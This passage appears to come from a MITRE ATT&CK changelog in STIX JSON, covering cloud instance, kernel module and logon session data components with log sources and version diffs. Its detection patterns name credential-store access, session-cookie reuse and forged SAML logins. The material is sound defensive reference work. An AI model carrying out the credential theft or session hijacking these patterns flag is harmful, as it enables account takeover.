"2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:37.885000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0086", + "external_id": "DC0086" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance Metadata", + "description": "Contextual data about an instance and activity around it such as name, type, or status", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "DescribeInstances" + }, + { + "name": "CloudTrail:EC2", + "channel": "DescribeInstances" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0086\", \"external_id\": \"DC0086\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"DescribeInstances\"}, {\"name\": \"CloudTrail:EC2\", \"channel\": \"DescribeInstances\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.885000+00:00\", \"old_value\": \"2025-04-25 14:48:42.003000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:40.223000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0073", + "external_id": "DC0073" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance Modification", + "description": "Changes made to a virtual machine (VM) or compute instance, including alterations to its configuration, metadata, attached policies, or operational state. Such modifications can include updating metadata, attaching or detaching resource policies, resizing instances, or modifying network configurations. Examples:\n\n- AWS: instance modifications include API actions like `ModifyInstanceAttribute`, `ModifyInstanceMetadataOptions`, or `RebootInstances`.\n- Azure: modifications can be tracked through operations like `Microsoft.Compute/virtualMachines/write`.\n- GCP: instance modification events include operations like `instances.setMetadata`, `instances.addResourcePolicies`, or `instances.resize`.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail: Log Location: Stored in S3 or forwarded to CloudWatch.\n- Azure Activity Logs: Log Location: Accessible via Azure Monitor or exported to a storage account.\n- GCP Audit Logs: Log Location: Logs Explorer or BigQuery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "RevertSnapshot" + }, + { + "name": "azure:activity", + "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/RESTORE" + }, + { + "name": "gcp:audit", + "channel": "compute.instances.restore" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0073\", \"external_id\": \"DC0073\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"RevertSnapshot\"}, {\"name\": \"azure:activity\", \"channel\": \"MICROSOFT.COMPUTE/VIRTUALMACHINES/RESTORE\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.instances.restore\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.223000+00:00\", \"old_value\": \"2025-04-18 15:13:07.954000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:36.515000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0080", + "external_id": "DC0080" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance Start", + "description": "The initiation or activation of a virtual machine instance within a cloud infrastructure. This action typically involves starting an existing instance that had been stopped or paused, allowing it to resume operation. Examples: \n\n- Google Cloud Platform (GCP): Starting an instance through `instance.start` API activity.\n- AWS: Logging of `StartInstances` in AWS CloudTrail for EC2 instances.\n- Azure: `Microsoft.Compute/virtualMachines/start` entries indicate a VM instance being started.\n\n*Data Collection Measures:*\n\n- Google Cloud Platform: Enable GCP Audit Logs for Compute Engine.\n - Log Event: Look for instance.start entries in Cloud Logging.\n- Amazon Web Services (AWS): AWS CloudTrail.\n - Log Event: Search for StartInstances events associated with EC2.\n- Microsoft Azure: Azure Activity Logs.\n - Log Event: Filter for Microsoft.Compute/virtualMachines/start operations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "StartInstances" + }, + { + "name": "CloudTrail:RunInstances", + "channel": "RunInstances" + }, + { + "name": "CloudTrail:RunInstances", + "channel": "RunInstances: AMI not in allowlist OR AMI owner != enterprise owner/account" + }, + { + "name": "AWS:CloudTrail", + "channel": "StartInstances: Instance starts from suspicious AMI or with userData present" + }, + { + "name": "AWS:CloudTrail", + "channel": "RunInstances" + }, + { + "name": "CloudTrail:EC2", + "channel": "RunInstances" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0080\", \"external_id\": \"DC0080\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"StartInstances\"}, {\"name\": \"CloudTrail:RunInstances\", \"channel\": \"RunInstances\"}, {\"name\": \"CloudTrail:RunInstances\", \"channel\": \"RunInstances: AMI not in allowlist OR AMI owner != enterprise owner/account\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"StartInstances: Instance starts from suspicious AMI or with userData present\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"RunInstances\"}, {\"name\": \"CloudTrail:EC2\", \"channel\": \"RunInstances\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.515000+00:00\", \"old_value\": \"2025-04-18 15:13:11.135000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:37.816000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0089", + "external_id": "DC0089" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance Stop", + "description": "The deactivation or shutdown of a virtual machine instance within a cloud infrastructure. This action typically involves stopping a running instance, which halts its operation and releases certain associated resources, such as CPU and memory. Examples: \n\n- Google Cloud Platform (GCP): `instance.stop` events recorded in GCP Audit Logs indicate the deactivation of an instance.\n- Amazon Web Services (AWS): `StopInstances` actions in AWS CloudTrail indicate EC2 instances being stopped.\n- Microsoft Azure: `Microsoft.Compute/virtualMachines/deallocate` or `stop` events in Azure Activity Logs represent a virtual machine being stopped or deallocated.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "TerminateInstances" + }, + { + "name": "AWS:CloudTrail", + "channel": "StopInstances" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0089\", \"external_id\": \"DC0089\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"TerminateInstances\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"StopInstances\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.816000+00:00\", \"old_value\": \"2025-04-18 15:13:04.794000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:39.179000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0031", + "external_id": "DC0031" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Kernel Module Load", + "description": "The process of loading a kernel module into the operating system kernel. Kernel modules are object files that extend the kernel\u2019s functionality, such as adding support for device drivers, new filesystems, or additional system calls. This action can be legitimate (e.g., loading a driver) or malicious (e.g., adding a rootkit). \n\n*Data Collection Measures:*\n\n- Linux:\n - Auditd: Enable auditing of kernel module loading. Example rule: `-a always,exit -F arch=b64 -S init_module,delete_module`.\n - Syslog: Monitor `/var/log/syslog` or `/var/log/messages` for entries related to kernel module loads.\n - Systemd Journal: Use `journalctl` to query logs for module loading events: `journalctl -k | grep \"Loading kernel module\"`\n- macOS:\n - Unified Logs: Use the `log` command to query kernel module events: `log show --predicate 'eventMessage contains \"kextload\"' --info`\n - Endpoint Security Framework (ESF): Monitor for `ES_EVENT_TYPE_AUTH_KEXTLOAD` (kernel extension loading events).\n- Kernel-Specific Tools:\n - Lsmod: Use `lsmod` to list loaded kernel modules in real-time.\n - Kprobe/eBPF: Use extended Berkeley Packet Filter (eBPF) or Kernel Probes (kprobes) to monitor kernel events, including module loading. Example using eBPF tools like BCC:\n`sudo python /path/to/bcc/tools/kprobe -v do_init_module`\n- Enable EDR Monitoring:\n - Configure alerts for: Suspicious kernel module loads from non-standard paths (e.g., /tmp). Unexpected or unsigned kernel modules.\n - Review detailed telemetry data provided by the EDR for insight into who initiated the module load, the file path, and whether the module was signed.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "esxi:vmkernel", + "channel": "VM exit/entry anomalies, unexpected hypercalls, or kernel module loading" + }, + { + "name": "macos:osquery", + "channel": "New kext entries not signed by Apple or outside standard identifier prefix" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0031\", \"external_id\": \"DC0031\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"esxi:vmkernel\", \"channel\": \"VM exit/entry anomalies, unexpected hypercalls, or kernel module loading\"}, {\"name\": \"macos:osquery\", \"channel\": \"New kext entries not signed by Apple or outside standard identifier prefix\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.179000+00:00\", \"old_value\": \"2025-04-18 15:16:44.099000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:35.022000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0067", + "external_id": "DC0067" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Logon Session Creation", + "description": "The successful establishment of a new user session following a successful authentication attempt. This typically signifies that a user has provided valid credentials or authentication tokens, and the system has initiated a session associated with that user account. This data is crucial for tracking authentication events and identifying potential unauthorized access. Examples: \n\n- Windows Systems\n - Event ID: 4624\n - Logon Type: 2 (Interactive) or 10 (Remote Interactive via RDP).\n - Account Name: JohnDoe\n - Source Network Address: 192.168.1.100\n - Authentication Package: NTLM\n- Linux Systems\n - /var/log/utmp or /var/log/wtmp:\n - Log format: login user [tty] from [source_ip]\n - User: jane\n - IP: 10.0.0.5\n - Timestamp: 2024-12-28 08:30:00\n- macOS Systems\n - /var/log/asl.log or unified logging framework:\n - Log: com.apple.securityd: Authentication succeeded for user 'admin'\n- Cloud Environments\n - Azure Sign-In Logs:\n - Activity: Sign-in successful\n - Client App: Browser\n - Location: Unknown (Country: X)\n- Google Workspace\n - Activity: Login\n - Event Type: successful_login\n - Source IP: 203.0.113.55\n\nThis data component can be collected through the following measures:\n\n- Windows Systems\n - Event Logs: Monitor Security Event Logs using Event ID 4624 for successful logons.\n - PowerShell Example: `Get-EventLog -LogName Security -InstanceId 4624`\n- Linux Systems\n - Log Files: Monitor `/var/log/utmp`, `/var/log/wtmp`, or `/var/log/auth.log` for logon events.\n - Tools: Use `last` or `who` commands to parse login records.\n- macOS Systems\n - Log Sources: Monitor `/var/log/asl.log` or Apple Unified Logs using the `log show` command.\n - Command Example: `log show --predicate 'eventMessage contains \"Authentication succeeded\"' --info`\n- Cloud Environments\n - Azure AD: Use Azure Monitor to analyze sign-in logs. Example CLI Query: `az monitor log-analytics query -w --analytics-query \"AzureActivity | where ActivityStatus == 'Success' and OperationName == 'Sign-in'\"`\n - Google Workspace: Enable and monitor Login Audit logs from the Admin Console.\n - Office 365: Use Audit Log Search in Microsoft 365 Security & Compliance Center for login-related events.\n- Network Logs\n - Sources: Network authentication mechanisms (e.g., RADIUS or TACACS logs).\n- Enable EDR Monitoring: \n - EDR tools monitor logon session activity, including the creation of new sessions.\n - Configure alerts for: Suspicious logon types (e.g., Logon Type 10 for RDP or Type 5 for Service). Logons from unusual locations, accounts, or devices.\n - Leverage EDR telemetry for session attributes like source IP, session duration, and originating process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Logon Session", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "UserLoggedIn" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin, AssumeRole, ListResources" + }, + { + "name": "azure:signin", + "channel": "UserLoginSuccess, TokenIssued" + }, + { + "name": "Okta:SystemLog", + "channel": "user.authentication.sso, app.oauth.grant" + }, + { + "name": "m365:signin", + "channel": "SignInSuccess, RoleAssignmentRead" + }, + { + "name": "m365:unified", + "channel": "UserLoggedIn" + }, + { + "name": "gcp:audit", + "channel": "LoginAudit, DriveAudit" + }, + { + "name": "saas:auth", + "channel": "LoginSuccess, APIKeyUse, AdminAction" + }, + { + "name": "azure:signinlogs", + "channel": "Abnormal sign-in from scripting tools (PowerShell, AADInternals)" + }, + { + "name": "azure:signinlogs", + "channel": "Suspicious login to cloud mailbox system" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "name": "azure:signinlogs", + "channel": "Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4648" + }, + { + "name": "NSM:Connections", + "channel": "Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)" + }, + { + "name": "macos:unifiedlog", + "channel": "Authentication inconsistencies where commands are executed without corresponding login events" + }, + { + "name": "CloudTrail:Signin", + "channel": "SAML login without corresponding IdP authentication log" + }, + { + "name": "m365:sharepoint", + "channel": "File access with forged or anomalous SAML claims" + }, + { + "name": "AWS:CloudTrail", + "channel": "Web console logins using session cookies without corresponding MFA event" + }, + { + "name": "saas:access", + "channel": "Multiple concurrent logins using same cookie from different locations" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise" + }, + { + "name": "macos:unifiedlog", + "channel": "authentication" + }, + { + "name": "AWS:CloudTrail", + "channel": "SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect" + }, + { + "name": "azure:signin", + "channel": "Microsoft.Compute/virtualMachines/serialConsole/connect/action" + }, + { + "name": "gcp:audit", + "channel": "cloud.ssh.publicKey.inserted, compute.instances.osLogin" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 with LogonType=9 or smartcard logon" + }, + { + "name": "NSM:Connections", + "channel": "Missing new login event but session activity continues" + }, + { + "name": "macos:unifiedlog", + "channel": "Session reuse without new auth event" + }, + { + "name": "AWS:CloudTrail", + "channel": "Temporary security credentials used to authenticate into management console or APIs" + }, + { + "name": "macos:unifiedlog", + "channel": "Access to Keychain items or browser credential stores" + }, + { + "name": "m365:signin", + "channel": "Token usage events with device/user mismatch" + }, + { + "name": "saas:github", + "channel": "Login from unusual IP, device fingerprint, or location; access token creation from new client" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=10 or 3), EventCode=4648" + }, + { + "name": "linux:syslog", + "channel": "sshd: Accepted password/publickey" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'" + }, + { + "name": "AWS:CloudTrail", + "channel": "AWS ConsoleLogin, StartSession" + }, + { + "name": "esxi:vmkernel", + "channel": "vim.fault.*, DCUI login, SSH shell" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=3)" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetConsoleOutput" + }, + { + "name": "saas:okta", + "channel": "user.session.start" + }, + { + "name": "m365:unified", + "channel": "ViewAdminReport" + }, + { + "name": "saas:zoom", + "channel": "Zoom Admin Dashboard accessed from unfamiliar IP/device" + }, + { + "name": "WinEventLog:Security", + "channel": "Anomalous logon without MFA enforcement" + }, + { + "name": "networkdevice:Firewall", + "channel": "Login from untrusted IP, or new admin account accessing firewall console/API" + }, + { + "name": "linux:syslog", + "channel": "authentication success after file access" + }, + { + "name": "macos:unifiedlog", + "channel": "Keychain or user login post-access" + }, + { + "name": "AWS:CloudTrail", + "channel": "sudden role assumption after credential file access" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=10), EventCode=4648" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672, 4648" + }, + { + "name": "NSM:Connections", + "channel": "Accepted publickey for user from unusual IP or without tty" + }, + { + "name": "saas:confluence", + "channel": "logon" + }, + { + "name": "linux:syslog", + "channel": "auth.log / secure.log" + }, + { + "name": "esxi:auth", + "channel": "Shell login or escalation" + }, + { + "name": "linux:auth", + "channel": "User login event followed by unexpected process tree" + }, + { + "name": "azure:signinlogs", + "channel": "InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges" + }, + { + "name": "m365:signinlogs", + "channel": "UserLogin: Discovery operations shortly after account logins from new geolocations" + }, + { + "name": "saas:auth", + "channel": "Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens" + }, + { + "name": "WinEventLog:Security", + "channel": "4624" + }, + { + "name": "NSM:Connections", + "channel": "simultaneous or anomalous logon sessions across multiple systems" + }, + { + "name": "macos:unifiedlog", + "channel": "authentication plugin load or modification events" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4648, 4672" + }, + { + "name": "azure:ad", + "channel": "SignInEvents" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4648,4672,4769" + }, + { + "name": "linux:syslog", + "channel": "Accepted publickey/password for * from * port * ssh2" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd successful login events" + }, + { + "name": "azure:signinlogs", + "channel": "InteractiveUser, ServicePrincipalSignIn" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity" + }, + { + "name": "azure:signinlogs", + "channel": "InteractiveUser, NonInteractiveUser" + }, + { + "name": "azure:signinlogs", + "channel": "UserLogin, ConditionalAccessPolicyEvaluated" + }, + { + "name": "saas:okta", + "channel": "session.token.reuse" + }, + { + "name": "auditd:SYSCALL", + "channel": "capset or setns" + }, + { + "name": "gcp:audit", + "channel": "admin.googleapis.com" + }, + { + "name": "m365:signinlogs", + "channel": "UserLoggedIn" + }, + { + "name": "WinEventLog:Security", + "channel": "EventID=4624" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634" + }, + { + "name": "linux:syslog", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0067\", \"external_id\": \"DC0067\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Logon Session\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"UserLoggedIn\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin, AssumeRole, ListResources\"}, {\"name\": \"azure:signin\", \"channel\": \"UserLoginSuccess, TokenIssued\"}, {\"name\": \"Okta:SystemLog\", \"channel\": \"user.authentication.sso, app.oauth.grant\"}, {\"name\": \"m365:signin\", \"channel\": \"SignInSuccess, RoleAssignmentRead\"}, {\"name\": \"m365:unified\", \"channel\": \"UserLoggedIn\"}, {\"name\": \"gcp:audit\", \"channel\": \"LoginAudit, DriveAudit\"}, {\"name\": \"saas:auth\", \"channel\": \"LoginSuccess, APIKeyUse, AdminAction\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Abnormal sign-in from scripting tools (PowerShell, AADInternals)\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Suspicious login to cloud mailbox system\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4648\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Authentication inconsistencies where commands are executed without corresponding login events\"}, {\"name\": \"CloudTrail:Signin\", \"channel\": \"SAML login without corresponding IdP authentication log\"}, {\"name\": \"m365:sharepoint\", \"channel\": \"File access with forged or anomalous SAML claims\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Web console logins using session cookies without corresponding MFA event\"}, {\"name\": \"saas:access\", \"channel\": \"Multiple concurrent logins using same cookie from different locations\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authentication\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect\"}, {\"name\": \"azure:signin\", \"channel\": \"Microsoft.Compute/virtualMachines/serialConsole/connect/action\"}, {\"name\": \"gcp:audit\", \"channel\": \"cloud.ssh.publicKey.inserted, compute.instances.osLogin\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 with LogonType=9 or smartcard logon\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Missing new login event but session activity continues\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Session reuse without new auth event\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Temporary security credentials used to authenticate into management console or APIs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access to Keychain items or browser credential stores\"}, {\"name\": \"m365:signin\", \"channel\": \"Token usage events with device/user mismatch\"}, {\"name\": \"saas:github\", \"channel\": \"Login from unusual IP, device fingerprint, or location; access token creation from new client\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 (LogonType=10 or 3), EventCode=4648\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd: Accepted password/publickey\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AWS ConsoleLogin, StartSession\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"vim.fault.*, DCUI login, SSH shell\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 (LogonType=3)\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetConsoleOutput\"}, {\"name\": \"saas:okta\", \"channel\": \"user.session.start\"}, {\"name\": \"m365:unified\", \"channel\": \"ViewAdminReport\"}, {\"name\": \"saas:zoom\", \"channel\": \"Zoom Admin Dashboard accessed from unfamiliar IP/device\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"Anomalous logon without MFA enforcement\"}, {\"name\": \"networkdevice:Firewall\", \"channel\": \"Login from untrusted IP, or new admin account accessing firewall console/API\"}, {\"name\": \"linux:syslog\", \"channel\": \"authentication success after file access\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Keychain or user login post-access\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"sudden role assumption after credential file access\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 (LogonType=10), EventCode=4648\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4672, 4648\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Accepted publickey for user from unusual IP or without tty\"}, {\"name\": \"saas:confluence\", \"channel\": \"logon\"}, {\"name\": \"linux:syslog\", \"channel\": \"auth.log / secure.log\"}, {\"name\": \"esxi:auth\", \"channel\": \"Shell login or escalation\"}, {\"name\": \"linux:auth\", \"channel\": \"User login event followed by unexpected process tree\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"UserLogin: Discovery operations shortly after account logins from new geolocations\"}, {\"name\": \"saas:auth\", \"channel\": \"Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"4624\"}, {\"name\": \"NSM:Connections\", \"channel\": \"simultaneous or anomalous logon sessions across multiple systems\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authentication plugin load or modification 